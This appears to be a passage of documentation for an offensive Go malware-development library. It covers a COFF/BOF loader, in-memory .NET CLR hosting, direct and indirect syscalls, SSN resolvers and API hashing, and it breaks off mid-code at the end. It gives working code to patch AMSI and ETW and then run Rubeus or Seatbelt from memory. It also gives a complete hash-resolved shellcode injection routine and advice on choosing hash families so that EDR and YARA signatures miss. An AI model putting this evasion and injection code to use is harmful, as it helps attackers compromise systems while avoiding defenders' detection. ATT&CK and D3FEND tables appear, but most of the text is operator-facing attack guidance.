RWthenRXviaVirtualProtectinstead ofRWX— defeats the simplest RWX-watcher rules. - Encrypt the BOF at rest via
crypto; decrypt + load + immediately re-encrypt the source buffer. - Pair with
evasion/sleepmaskfor cleartext-at-rest mitigation.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1059 | Command and Scripting Interpreter | partial — in-memory native code execution | D3-PA |
| T1620 | Reflective Code Loading | full — COFF reflective load | D3-FCA, D3-PA |
Limitations
- No Beacon-API resolution. BOFs that call
BeaconOutput,BeaconFormatAlloc,BeaconErrorDetc. crash. Use BOFs built without the Beacon-API contract or implement a stub resolver (out of scope here). - x64 only.
Machine == 0x8664required. - Limited relocation types. ADDR64 / ADDR32NB / REL32 only; exotic relocations (TLS, GOT) not supported.
- No symbol resolution beyond the entry point. External imports are not resolved — pure in-process code only.
- RWX allocation is loud. Hardened EDRs flag RWX from any source; pair with sleep-mask + RW→RX flip.
See also
runtime/clr— sibling reflective runtime (.NET).crypto— encrypt BOF at rest.evasion/sleepmask— hide BOF bytes at rest.- Operator path.
- Detection eng path.
CLR (.NET) in-process hosting
TL;DR
Host the .NET CLR in process via ICLRMetaHost /
ICorRuntimeHost COM and execute .NET assemblies from memory —
no .exe / .dll on disk. Equivalent to Cobalt Strike's
execute-assembly. Pair with evasion/amsi.PatchAll upstream —
AMSI v2 scans every assembly passed to AppDomain.Load_3 and
will block flagged bytes (SharpHound, Rubeus, Seatbelt).
Primer
The Common Language Runtime is the .NET execution engine. Any
process can host the CLR by importing mscoree.dll and calling
CLRCreateInstance. The hosting process gets a managed runtime
inside its address space and can load + invoke .NET assemblies
without spawning dotnet.exe / powershell.exe.
Operationally:
- Run SharpHound / Rubeus / Seatbelt / GhostPack tooling
in-process from a Go implant — no separate
.exeto drop, no process-tree anomaly. - Side-step
dotnet.exe/powershell.exelineage rules. - Bridge to the entire .NET ecosystem for credential dumping, token theft, AD enumeration.
The trade-offs are loud:
- Loading
clr.dll+mscoreei.dllin a non-.NET process is itself a high-fidelity heuristic. - AMSI v2 scans every
Load_3call; without an AMSI patch most published tooling is blocked. - ETW Microsoft-Windows-DotNETRuntime emits assembly-load events.
How It Works
sequenceDiagram
participant Imp as "Implant"
participant MH as "ICLRMetaHost"
participant RT as "ICLRRuntimeInfo"
participant Host as "ICorRuntimeHost"
participant AD as "AppDomain (default)"
participant Asm as "managed assembly"
Imp->>Imp: mscoree.CLRCreateInstance
Imp->>MH: GetRuntime("v4.0.30319")
MH-->>RT: ICLRRuntimeInfo
Imp->>RT: GetInterface(CLSID_CLRRuntimeHost, IID_ICorRuntimeHost)
RT-->>Host: ICorRuntimeHost
Imp->>Host: Start
Imp->>Host: GetDefaultDomain
Host-->>AD: IUnknown → IDispatch
Imp->>AD: Load_3(SAFEARRAY[byte])
AD-->>Asm: loaded assembly
Imp->>Asm: EntryPoint.Invoke(args)
Asm-->>Imp: managed code runs in-proc
Load(nil) picks the preferred installed runtime
(v4 > legacy). For .NET 3.5 (legacy) targets call
[InstallRuntimeActivationPolicy] first to register the required
CLSID — disabled by default on modern Windows. The package
returns [ErrLegacyRuntimeUnavailable] when the legacy runtime
can't be activated.
API Reference
| Symbol | Description |
|---|---|
type Runtime | Active CLR host instance |
Load(caller *wsyscall.Caller) (*Runtime, error) | Bring up the CLR; pick preferred runtime |
(*Runtime).ExecuteAssembly(asm []byte, args []string) error | Load + invoke entry point |
(*Runtime).Close() error | Tear down the AppDomain + release COM |
InstalledRuntimes() ([]string, error) | Enumerate installed .NET versions |
InstallRuntimeActivationPolicy() error | Register .NET 3.5 CLSID for legacy hosting |
RemoveRuntimeActivationPolicy() error | Reverse the install |
var ErrLegacyRuntimeUnavailable | .NET 3.5 hosting unavailable |
type Args / NewArgs() | Typed argv builder |
Examples
Simple — load + execute
import (
"os"
"github.com/oioio-space/maldev/runtime/clr"
)
rt, err := clr.Load(nil)
if err != nil {
return
}
defer rt.Close()
asm, _ := os.ReadFile("Seatbelt.exe")
_ = rt.ExecuteAssembly(asm, []string{"-group=system"})
Composed — AMSI patch + ETW patch + execute
import (
"os"
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/evasion/etw"
"github.com/oioio-space/maldev/runtime/clr"
)
if err := amsi.PatchAll(); err != nil {
return
}
_ = etw.PatchAll()
rt, _ := clr.Load(nil)
defer rt.Close()
asm, _ := os.ReadFile("Rubeus.exe")
_ = rt.ExecuteAssembly(asm, []string{"triage"})
Advanced — list + pick runtime
versions, _ := clr.InstalledRuntimes()
for _, v := range versions {
fmt.Println("installed:", v)
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
clr.dll + mscoreei.dll module load in non-.NET host | High-fidelity heuristic — Defender for Endpoint, Elastic, S1 |
AmsiScanBuffer flagging the assembly | AMSI v2 scans every Load_3 — published tooling caught universally |
| Microsoft-Windows-DotNETRuntime ETW provider | Assembly-load events; without ETW patch every load is logged |
ICorRuntimeHost COM activation from non-Microsoft process | EDR COM-activation telemetry |
| Process Hollowing-like behaviour: process metadata says non-.NET, runtime hosts CLR | Behavioural EDR rule |
D3FEND counters:
Hardening for the operator:
- Always patch AMSI (
evasion/amsi.PatchAll) beforeExecuteAssembly. - Pair with
evasion/etwfor the .NET runtime ETW silencing. - Run inside a process where
clr.dllload is plausible (Office, browsers, managed-service hosts). - Pair with
pe/masquerade/preset/svchostif running from a fresh process.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1620 | Reflective Code Loading | full — CLR-hosted in-memory .NET | D3-FCA, D3-PSA |
| T1059 | Command and Scripting Interpreter | partial — in-process .NET execution without dotnet.exe | D3-PSA |
Limitations
- AMSI / ETW upstream patches required for hostile assemblies.
- CLR lifecycle is global per-process. Once started, a CLR
cannot be cleanly unloaded; subsequent
Loadcalls re-use the same instance. - Output capture. Stdout / stderr from the assembly require
redirection setup before
ExecuteAssembly. - AppDomain isolation absent. All assemblies share the default AppDomain; one exception can take down the runtime.
- .NET 3.5 disabled-by-default on modern Windows. Legacy runtime hosting needs the policy install.
[STAThread]requirement. Some assemblies require an STA apartment; running without re-creating that apartment may fail for COM-heavy tooling.
Credit
- ropnop/go-clr — canonical Go port; vendored upstream.
See also
runtime/bof— sibling reflective runtime (COFF / native code).evasion/amsi— REQUIRED for hostile assemblies.evasion/etw— silence .NET runtime ETW.pe/srdi— alternative path for .NET → shellcode via Donut.- Operator path.
- Detection eng path.
Syscall Methods & SSN Resolvers
The win/syscall package composes three orthogonal concerns
behind a single *Caller. Operators tune each axis independently;
downstream packages (inject/*, evasion/*, c2/shell) accept a
*Caller and inherit the chosen posture without recompiling.
Three concerns (read this first)
flowchart LR
subgraph callsite [Call site<br>e.g. inject.RemoteThread]
C["*wsyscall.Caller"]
end
subgraph axis1 [1. Calling method<br>HOW the syscall fires]
A1["MethodWinAPI / NativeAPI / Direct /<br>Indirect / IndirectAsm"]
end
subgraph axis2 [2. SSN resolver<br>WHERE the syscall number comes from]
A2["HellsGate / HalosGate / Tartarus /<br>HashGate / Chain"]
end
subgraph axis3 [3. API hashing<br>HOW the symbol is found without a string]
A3["ROR13 / FNV / Jenkins / custom HashFunc"]
end
C --> A1
C --> A2
A2 --> A3
The three axes answer different questions:
| Axis | Question it answers | Pages |
|---|---|---|
| 1 — Calling method | How does the implant issue the syscall once the SSN is known? Which userland boundary do we cross / skip? | direct-indirect.md |
| 2 — SSN resolver | Where does the SSN come from? What happens when the canonical source (the unhooked ntdll prologue) is unavailable? | ssn-resolvers.md |
| 3 — API hashing | How do we identify the right Nt* export without a plaintext name in the binary? | api-hashing.md |
Tuning one axis does NOT imply tuning the others. You can:
- pick
MethodIndirect(axis 1) withHellsGate(axis 2) — no api-hashing. - pick
MethodWinAPI(axis 1) withHashGate(axis 2 — uses axis 3 internally). - swap the hash function on
HashGate(axis 3) without touching axis 1 / 2.
Architecture Overview
graph TD
subgraph "Consumer Packages"
INJ[inject/]
EVA[evasion/]
C2[c2/shell]
end
subgraph "win/syscall"
CALLER["*Caller"]
CALLER -->|method| WINAPI[MethodWinAPI]
CALLER -->|method| NATIVE[MethodNativeAPI]
CALLER -->|method| DIRECT[MethodDirect]
CALLER -->|method| INDIRECT[MethodIndirect]
CALLER -->|resolver| HG[HellsGate]
CALLER -->|resolver| HAG[HalosGate]
CALLER -->|resolver| TG[TartarusGate]
CALLER -->|resolver| HGR[HashGate]
CALLER -->|resolver| CH[Chain]
end
subgraph "win/api"
PEB["PEB Walk"]
HASH["API Hashing"]
RESOLVE["ResolveByHash"]
end
INJ -->|"*Caller (nil = WinAPI)"| CALLER
EVA -->|"*Caller (nil = WinAPI)"| CALLER
C2 -->|"*Caller (nil = WinAPI)"| CALLER
HGR --> PEB
HGR --> HASH
RESOLVE --> PEB
RESOLVE --> HASH
Quick Reference
| Method | Hook Bypass | Stack Clean | Memory Clean | Stealth |
|---|---|---|---|---|
| WinAPI | None | N/A | N/A | Lowest |
| NativeAPI | kernel32 | N/A | N/A | Low |
| Direct | All userland | No | No | Medium |
| Indirect | All userland | Yes | Yes | High (heap stub, RW↔RX cycle) |
| IndirectAsm | All userland | Yes | Yes | Highest (Go-asm stub, no writable code) |
| Resolver | Unhooked ntdll | JMP-hooked ntdll | Fully hooked ntdll | String-free |
|---|---|---|---|---|
| HellsGate | Yes | No | No | No |
| HalosGate | Yes | Yes (neighbor) | No | No |
| TartarusGate | Yes | Yes (trampoline) | Yes (neighbor fallback) | No |
| HashGate | Yes | No | No | Yes |
| Chain | Depends on composition | Depends on composition | Depends on composition | Depends |
Quick decision tree
| You want to… | Use |
|---|---|
| …call a Windows API with no plaintext name in the binary | api-hashing.md (HashGate) |
| …skip kernel32-level hooks but stay in ntdll | direct-indirect.md — MethodNativeAPI |
| …skip every userland hook (kernel32 + ntdll) | direct-indirect.md — MethodIndirect / MethodIndirectAsm |
…make the syscall return inside ntdll's .text (call-stack stealth) | direct-indirect.md — MethodIndirect family |
| …avoid any writable code page in the implant | direct-indirect.md — MethodIndirectAsm |
| …randomise the syscall return address per call | direct-indirect.md — gadget pool |
| …auto-fall-back when the target stub is hooked | ssn-resolvers.md — Halo's / Tartarus / Chain |
| …read the SSN even when the entire ntdll text section is hooked | ssn-resolvers.md — TartarusGate |
| …swap in your own hash function (defeat ROR13 fingerprints) | NewHashGateWith(fn) + Caller.WithHashFunc(fn) |
Documentation
| Document | Description |
|---|---|
| Direct & Indirect Syscalls | The five invocation methods (incl. Go-asm IndirectAsm) and when to use each |
| API Hashing | PEB walk + ROR13 hashing to eliminate plaintext strings |
| SSN Resolvers | Hell's Gate, Halo's Gate, Tartarus Gate, HashGate |
MITRE ATT&CK
| Technique | ID | Description |
|---|---|---|
| Native API | T1106 | Directly interact with the native OS API |
D3FEND Countermeasures
| Countermeasure | ID | Description |
|---|---|---|
| System Call Analysis | D3-SCA | Monitor syscall origins and patterns |
| Function Call Restriction | D3-FCR | Restrict dynamic function resolution |
See also
syscalls/api-hashing.md— string-free import resolutionsyscalls/direct-indirect.md— calling-method matrixsyscalls/ssn-resolvers.md— Hells/Halos/Tartarus/HashGatetokenstechniques (index) — sibling Layer-1 OS-primitive area
API Hashing (PEB Walk + ROR13)
MITRE ATT&CK: T1106 - Native API D3FEND: D3-FCR - Function Call Restriction
What api-hashing is NOT
[!IMPORTANT]
api-hashingis only the symbol-resolution axis (concern #3 in README.md). It answers "how do I find the right export without a plaintext string?".It does not decide:
- how the syscall fires — that's the calling method (
MethodWinAPI/MethodNativeAPI/MethodDirect/MethodIndirect/MethodIndirectAsm). See direct-indirect.md.- where the SSN comes from — that's the SSN resolver (
HellsGate/HalosGate/TartarusGate/Chain). See ssn-resolvers.md.HashGateis the resolver that uses api-hashing to find the Nt* prologue.Tuning hashing alone does not give you a stealthier syscall — a hash-resolved
MethodWinAPIcall still goes through every kernel32/ntdll hook in the process. Pair api-hashing with the calling method and SSN resolver you want.
Primer
When your program calls VirtualAlloc, the string "VirtualAlloc" appears in the binary. Any analyst running strings on your executable can see exactly which dangerous APIs you use.
Instead of calling someone by name (which gets overheard), you use a coded number. API hashing converts function names like "NtAllocateVirtualMemory" into numeric hashes like 0xD33BCABD. Your binary only contains these numbers -- no readable strings. At runtime, the code walks the Process Environment Block (PEB) to find loaded DLLs and their exports, hashing each export name until it finds a match.
How It Works
flowchart TD
subgraph "Build Time"
FN["Function name:\nNtAllocateVirtualMemory"] -->|ROR13| HASH["Hash constant:\n0xD33BCABD"]
MN["Module name:\nKERNEL32.DLL"] -->|"ROR13 (wide + null)"| MHASH["Hash constant:\n0x50BB715E"]
end
subgraph "Runtime Resolution"
TEB["Thread Environment Block\n(GS:0x30)"] -->|"+0x60"| PEB["Process Environment Block"]
PEB -->|"+0x18"| LDR["PEB_LDR_DATA"]
LDR -->|"+0x10"| LIST["InLoadOrderModuleList"]
LIST --> WALK["Walk linked list"]
WALK --> MOD1["ntdll.dll\nBase: 0x7FFE..."]
WALK --> MOD2["KERNEL32.DLL\nBase: 0x7FFD..."]
WALK --> MOD3["...other DLLs"]
MOD2 -->|"Hash BaseDllName\ncompare with 0x50BB715E"| MATCH["Module found!"]
MATCH -->|"Parse PE headers"| EXPORTS["Export Directory"]
EXPORTS -->|"Walk AddressOfNames"| EWALK["Hash each export name"]
EWALK -->|"Compare with 0xD33BCABD"| FOUND["Function address found!"]
end
HASH -.->|"embedded in binary"| EWALK
MHASH -.->|"embedded in binary"| MOD2
style HASH fill:#a94,color:#fff
style MHASH fill:#a94,color:#fff
style FOUND fill:#4a9,color:#fff
PEB Walk Details
The PEB (Process Environment Block) contains a list of all loaded DLLs. On x64 Windows:
- TEB (Thread Environment Block) is at
GS:0x30 - PEB is at
TEB+0x60 - PEB_LDR_DATA is at
PEB+0x18 - InLoadOrderModuleList starts at
LDR+0x10
Each entry in the list is an LDR_DATA_TABLE_ENTRY containing:
+0x30: DllBase (the module's base address)+0x58: BaseDllName as UNICODE_STRING (Length, MaxLength, Buffer)
ROR13 Hashing
ROR13 (Rotate Right by 13 bits) is the de facto standard for shellcode API hashing:
For each character c in the name:
hash = (hash >> 13) | (hash << 19) // rotate right 13 bits
hash = hash + c // add character value
Two variants exist in maldev:
- ROR13 (
hash.ROR13): ASCII, no null terminator -- used for export names - ROR13Module (
hash.ROR13Module): UTF-16LE wide chars + null terminator -- used for PEB module names
Beyond ROR13 — defeating signature engines
Many EDR signature engines key on the canonical ROR13 constants
(0x6A4ABC5B for kernel32, 0x4FC8BB5A for LoadLibraryA, …).
If the engine sees those uint32s in a binary's .rdata, it
flags the file regardless of the runtime behaviour.
Pivoting to a different hash family makes the implant's
constants statically distinct. The hash package ships:
| Function | Output | Notes |
|---|---|---|
hash.ROR13(name) | uint32 | Canonical shellcode hash; widest signature exposure. |
hash.JenkinsOAAT(name) | uint32 | Bob Jenkins one-at-a-time + avalanche tail; cheap, no division, slightly better avalanche than ROR13. |
hash.FNV1a32(name) | uint32 | FNV-1a 32-bit; matches hash/fnv byte-for-byte. |
hash.FNV1a64(name) | uint64 | FNV-1a 64-bit. |
hash.DJB2(name) | uint32 | Bernstein hash * 33 + c; classic, weaker on short inputs. |
hash.CRC32(name) | uint32 | IEEE polynomial; backed by hash/crc32 table. |
Compose with win/syscall:
caller := wsyscall.New(
wsyscall.MethodIndirectAsm,
wsyscall.NewHashGateWith(hash.JenkinsOAAT),
).WithHashFunc(hash.JenkinsOAAT)
Both ends MUST agree: NewHashGateWith(fn) for the resolver,
WithHashFunc(fn) for any CallByHash call. Pre-compute the
hash constants once at build time (or via a go generate step)
to keep the binary string-free.
cmd/hashgen — generate the constants
Use the in-tree CLI to emit const Hash<Algo><Symbol> = 0x…
declarations for any of the 7 supported algorithms (ror13,
ror13module, fnv1a32, fnv1a64, jenkins, djb2, crc32):
go run ./cmd/hashgen -algo jenkins -package winhashes \
LoadLibraryA GetProcAddress NtAllocateVirtualMemory > winhashes/winhashes_gen.go
Or, for go generate-style integration, drop a stanza like the
following into a stub file and check the generated output into git:
//go:generate go run ../../cmd/hashgen -algo jenkins -package winhashes -o winhashes_gen.go LoadLibraryA GetProcAddress
This keeps the runtime cost zero (no hashing on each process start) and the binary string-free.
PE Export Resolution
Once the module base is found, the code parses the PE export directory:
- Read
e_lfanewat offset0x3Cto find the PE header - Navigate to
DataDirectory[0](export directory) at PE header+24+112 - Walk
AddressOfNames, hash each name, compare with target hash - On match, read the ordinal from
AddressOfNameOrdinalsand the RVA fromAddressOfFunctions
Usage
ResolveByHash: Find a Function Address
import "github.com/oioio-space/maldev/win/api"
// Resolve LoadLibraryA in KERNEL32.DLL -- no strings in binary
addr, err := api.ResolveByHash(api.HashKernel32, api.HashLoadLibraryA)
if err != nil {
log.Fatal(err)
}
// addr is now the function pointer for LoadLibraryA
CallByHash: Execute a Syscall by Hash
import (
"github.com/oioio-space/maldev/win/api"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()
// NtAllocateVirtualMemory via hash -- zero plaintext function names
ret, err := caller.CallByHash(api.HashNtAllocateVirtualMemory,
uintptr(0xFFFFFFFFFFFFFFFF),
uintptr(unsafe.Pointer(&baseAddr)),
0,
uintptr(unsafe.Pointer(®ionSize)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
HashGateResolver: SSN Resolution by Hash
import wsyscall "github.com/oioio-space/maldev/win/syscall"
// HashGate resolves SSNs via PEB walk -- no LazyProc.Find() calls
resolver := wsyscall.NewHashGate()
ssn, err := resolver.Resolve("NtCreateThreadEx")
// ssn is the syscall service number (e.g., 0xC1)
Pre-Computed Hash Constants
// Module hashes (ROR13Module of BaseDllName in PEB)
api.HashKernel32 // 0x50BB715E "KERNEL32.DLL"
api.HashNtdll // 0x411677B7 "ntdll.dll"
api.HashAdvapi32 // 0x9CB9105F "ADVAPI32.dll"
api.HashUser32 // 0x51319D6F "USER32.dll"
api.HashShell32 // 0x18D72CAC "SHELL32.dll"
// Function hashes (ROR13 of ASCII export name)
api.HashLoadLibraryA // 0xEC0E4E8E
api.HashGetProcAddress // 0x7C0DFCAA
api.HashVirtualAlloc // 0x91AFCA54
api.HashNtAllocateVirtualMemory // 0xD33BCABD
api.HashNtProtectVirtualMemory // 0x8C394D89
api.HashNtCreateThreadEx // 0x4D1DEB74
api.HashNtWriteVirtualMemory // 0xC5108CC2
Combined Example: defeat ROR13 fingerprinting
A ROR13-only signature engine sees the canonical
api.HashLoadLibraryA = 0xEC0E4E8E constant in the binary's
.rdata and flags the file. Switching the entire stack to
JenkinsOAAT changes that constant to a fresh value the engine
never trained on:
package main
import (
"fmt"
"github.com/oioio-space/maldev/hash"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
// Both ends MUST agree on the hash family.
caller := wsyscall.New(
wsyscall.MethodIndirectAsm,
wsyscall.NewHashGateWith(hash.JenkinsOAAT),
).WithHashFunc(hash.JenkinsOAAT)
defer caller.Close()
// Pre-compute the funcHash at build time. JenkinsOAAT yields a
// different uint32 than ROR13 for the same name, so existing
// signature databases targeting the ROR13 constant don't match.
ntClose := hash.JenkinsOAAT("NtClose") // = 0x???????? (your build's value)
if _, err := caller.CallByHash(ntClose, 0); err != nil {
fmt.Println("syscall:", err)
}
}
hash.FNV1a32, hash.DJB2, hash.CRC32, and hash.FNV1a64
swap in identically — pick the family least represented in the
target signature corpus.
Combined Example: String-Free Injection
package main
import (
"unsafe"
"golang.org/x/sys/windows"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/win/api"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
// All function resolution via hashes -- no "NtAllocateVirtualMemory" string in binary
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()
// Decrypt shellcode (key would be derived at runtime in production)
key, _ := crypto.NewAESKey()
shellcode := []byte{/* ... */}
encrypted, _ := crypto.EncryptAESGCM(key, shellcode)
decrypted, _ := crypto.DecryptAESGCM(key, encrypted)
// Allocate memory via hash
var baseAddr uintptr
regionSize := uintptr(len(decrypted))
caller.CallByHash(api.HashNtAllocateVirtualMemory,
uintptr(0xFFFFFFFFFFFFFFFF),
uintptr(unsafe.Pointer(&baseAddr)),
0,
uintptr(unsafe.Pointer(®ionSize)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
// Write shellcode via hash
var bytesWritten uintptr
caller.CallByHash(api.HashNtWriteVirtualMemory,
uintptr(0xFFFFFFFFFFFFFFFF),
baseAddr,
uintptr(unsafe.Pointer(&decrypted[0])),
uintptr(len(decrypted)),
uintptr(unsafe.Pointer(&bytesWritten)),
)
// Change protection via hash
var oldProtect uintptr
caller.CallByHash(api.HashNtProtectVirtualMemory,
uintptr(0xFFFFFFFFFFFFFFFF),
uintptr(unsafe.Pointer(&baseAddr)),
uintptr(unsafe.Pointer(®ionSize)),
windows.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtect)),
)
// Execute via hash
var threadHandle uintptr
caller.CallByHash(api.HashNtCreateThreadEx,
uintptr(unsafe.Pointer(&threadHandle)),
0x1FFFFF, 0, uintptr(0xFFFFFFFFFFFFFFFF),
baseAddr, 0, 0, 0, 0, 0, 0,
)
windows.WaitForSingleObject(windows.Handle(threadHandle), windows.INFINITE)
}
Advantages & Limitations
Advantages
- No plaintext strings:
stringsand YARA rules targeting API names find nothing - No IAT entries: Functions resolved at runtime are invisible in the Import Address Table
- Composable: HashGate works as an SSNResolver in the Chain pipeline
- Lazy init: ntdll base address resolved once via
sync.Once, cached for all subsequent calls
Limitations
- ROR13 collisions: Theoretically possible (32-bit hash space), though none exist for common NT function names
- PEB walk detectable: ETW providers and some EDRs monitor PEB traversal patterns
- Hash constants are signatures: Known ROR13 values (e.g.,
0xD33BCABDfor NtAllocateVirtualMemory) become YARA targets themselves — switch families (hash.JenkinsOAAT/hash.FNV1a32/hash.DJB2/hash.CRC32) to render those signatures useless against your binary - No pre-computed Hash* constants for non-ROR13 families:
win/api.HashKernel32/HashLoadLibraryA/ etc. are ROR13-only. When pairingwsyscall.NewHashGateWith(hash.JenkinsOAAT)withCaller.CallByHash, callers compute the funcHash at build time themselves. Acmd/hashgengo generatestep that emits per-family constant tables is queued under backlog row P2.24. - Requires loaded modules: Can only resolve functions from DLLs already in the PEB -- cannot load new DLLs by hash alone
API Reference
win/api
// ResolveByHash resolves a function address by module + function ROR13 hashes.
func ResolveByHash(moduleHash, funcHash uint32) (uintptr, error)
// ModuleByHash finds a loaded module's base address via PEB walk.
func ModuleByHash(hash uint32) (uintptr, error)
// ExportByHash finds a function address in a loaded PE by export name hash.
func ExportByHash(moduleBase uintptr, funcHash uint32) (uintptr, error)
win/syscall
// CallByHash executes a syscall using a pre-computed ROR13 hash.
func (c *Caller) CallByHash(funcHash uint32, args ...uintptr) (uintptr, error)
// NewHashGate creates a resolver that uses PEB walk + ROR13 hashing.
func NewHashGate() *HashGateResolver
hash
// ROR13 computes the ROR13 hash of an ASCII string (no null terminator).
func ROR13(name string) uint32
// ROR13Module computes the ROR13 hash of a UTF-16LE module name (with null terminator).
func ROR13Module(name string) uint32
See also
- Syscalls area README
syscalls/ssn-resolvers.md— the resolver chain that uses these hashessyscalls/direct-indirect.md— the calling-method side of the same Caller seam
Direct & Indirect Syscalls
MITRE ATT&CK: T1106 - Native API D3FEND: D3-SCA - System Call Analysis
What direct/indirect syscalls is NOT
[!IMPORTANT] Direct/indirect syscalls is only the calling-method axis (concern #1 in README.md). It answers "how do I issue the syscall — through kernel32, through ntdll, or straight from the implant's own page?".
It does not decide:
- where the SSN comes from — that's the SSN resolver (ssn-resolvers.md).
MethodDirect/MethodIndirect/MethodIndirectAsmall consume an SSN they didn't compute themselves.- how the Nt* export is found — that's api-hashing.md. The calling method is identical whether the symbol came from a string lookup or a ROR13 hash.
Picking
MethodIndirectAsmalone does not make your implant string-free or hook-resilient against pre-injection ntdll patches — pair it withHashGate(resolver) for the full stack.
Primer
When your program needs Windows to do something (allocate memory, create a thread), it normally goes through the official front desk -- kernel32.dll and ntdll.dll. EDR products stand at this front desk, logging every request.
Instead of going through the official front desk (which logs everything), you find a back door. Direct syscalls build a tiny instruction that talks to the kernel directly, skipping the hooked ntdll code entirely. Indirect syscalls go one step further: they make it look like the call came from ntdll, even though your code initiated it -- like sneaking in the back door but leaving footprints that look like they came from the front.
How It Works
Every NT function in ntdll follows the same x64 pattern:
mov r10, rcx ; save first arg (kernel expects r10, not rcx)
mov eax, <SSN> ; load the Syscall Service Number
syscall ; transition to kernel mode
ret
The SSN is an index into the kernel's System Service Descriptor Table (SSDT). EDR products hook these functions by overwriting the prologue bytes with a JMP to their monitoring code.
The five methods in win/syscall differ in how they reach the syscall instruction:
flowchart LR
subgraph "WinAPI / NativeAPI"
A1[Your Code] -->|"LazyProc.Call()"| A2[kernel32.dll]
A2 --> A3[ntdll.dll]
A3 -->|"syscall"| A4[Kernel]
A3 -.->|"EDR hook"| EDR1[EDR Monitor]
end
subgraph "Direct Syscall"
B1[Your Code] -->|"SSN resolved"| B2["Private stub\n(mov eax,SSN; syscall; ret)"]
B2 -->|"syscall from\nprivate memory"| B3[Kernel]
B2 -.->|"Detectable:\nsyscall outside ntdll"| EDR2[Memory Scanner]
end
subgraph "Indirect Syscall"
C1[Your Code] -->|"SSN resolved"| C2["Private stub\n(mov eax,SSN; jmp r11)"]
C2 -->|"jmp to ntdll\nsyscall;ret gadget"| C3["ntdll.dll\n(0F 05 C3)"]
C3 -->|"syscall from\nntdll address space"| C4[Kernel]
end
style EDR1 fill:#f66,color:#fff
style EDR2 fill:#f96,color:#fff
Method Comparison
graph TD
Q{Need to bypass<br>EDR hooks?}
Q -->|No| WINAPI["MethodWinAPI<br>Standard, maximum compatibility"]
Q -->|Yes| Q2{EDR hooks<br>kernel32 only?}
Q2 -->|Yes| NATIVE["MethodNativeAPI<br>Bypass kernel32, call ntdll directly"]
Q2 -->|No| Q3{EDR performs<br>call-stack analysis?}
Q3 -->|No| DIRECT["MethodDirect<br>Private syscall stub"]
Q3 -->|Yes| INDIRECT["MethodIndirect<br>JMP to ntdll gadget, cleanest stack"]
style WINAPI fill:#4a9,color:#fff
style NATIVE fill:#49a,color:#fff
style DIRECT fill:#a94,color:#fff
style INDIRECT fill:#94a,color:#fff
| Method | Constant | Bypass kernel32 | Bypass ntdll | Survive memory scan | Survive stack analysis | Per-call VirtualProtect |
|---|---|---|---|---|---|---|
| WinAPI | MethodWinAPI | No | No | N/A | N/A | No |
| NativeAPI | MethodNativeAPI | Yes | No | N/A | N/A | No |
| Direct | MethodDirect | Yes | Yes | No | No | Yes (RW↔RX) |
| Indirect | MethodIndirect | Yes | Yes | Yes | Yes | Yes (RW↔RX) |
| IndirectAsm | MethodIndirectAsm | Yes | Yes | Yes | Yes | No |
MethodIndirectAsm vs MethodIndirect
Both end the same way — syscall executes inside ntdll's .text from a randomly picked syscall;ret gadget — but the path to the gadget is different.
MethodIndirect builds a 21-byte stub (mov r10,rcx; mov eax,SSN; mov r11,gadget; jmp r11) into a heap page, flips the page RW→RX→RW around SyscallN, and returns. That heap page is writable code in the implant's address space, and the protection cycle calls VirtualProtect twice per syscall — both are classic EDR signals.
MethodIndirectAsm ships the same logic as Go assembly inside the binary's .text section. SSN and gadget address are passed as register arguments — no patching, no writable code page, no VirtualProtect. The trade-off is that the stub lives at a fixed RVA inside the implant binary, so a YARA rule could match its bytes; mitigate by morphing the function or stripping symbols.
The gadget address is drawn at random per call from the full pool of 0F 05 C3 triples in ntdll (pickSyscallGadget), so successive syscalls from the same caller don't all return to the same RVA.
Usage
Basic: WinAPI (Default Fallback)
When *Caller is nil, consumer packages fall back to standard WinAPI:
import "github.com/oioio-space/maldev/inject"
// nil Caller = standard WinAPI path (no bypass)
pipe := inject.NewPipeline(nil)
Direct Syscalls with Hell's Gate
import (
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodDirect, wsyscall.NewHellsGate())
defer caller.Close()
// Call NtAllocateVirtualMemory directly -- bypasses all userland hooks
ret, err := caller.Call("NtAllocateVirtualMemory",
uintptr(0xFFFFFFFFFFFFFFFF), // ProcessHandle (-1 = current)
uintptr(unsafe.Pointer(&baseAddr)),
0,
uintptr(unsafe.Pointer(®ionSize)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
Indirect Syscalls with Tartarus Gate
import (
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
// Tartarus Gate handles JMP-hooked functions
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewTartarus())
defer caller.Close()
ret, err := caller.Call("NtCreateThreadEx", /* args... */)
IndirectAsm + custom hash function
import wsyscall "github.com/oioio-space/maldev/win/syscall"
// Build-time hash function — every binary built with a different `key`
// produces different funcHash constants, so static signatures on the
// well-known ROR13 values stop matching.
fnv1a := func(s string) uint32 {
h := uint32(2166136261)
for i := 0; i < len(s); i++ {
h ^= uint32(s[i])
h *= 16777619
}
return h
}
caller := wsyscall.New(
wsyscall.MethodIndirectAsm,
wsyscall.NewHashGateWith(fnv1a),
).WithHashFunc(fnv1a)
// fnv1a("NtAllocateVirtualMemory") is computed at build-time by the
// optimizer when fed a string constant — no plaintext name in .rdata.
ret, err := caller.CallByHash(fnv1a("NtAllocateVirtualMemory"), /* args */)
Both ends MUST agree: NewHashGateWith(fn) for the resolver to walk the export table, WithHashFunc(fn) for CallByHash to do the same lookup. Pass nil (or call NewHashGate()) for the default ROR13 path.
String-Free: CallByHash
import (
"github.com/oioio-space/maldev/win/api"
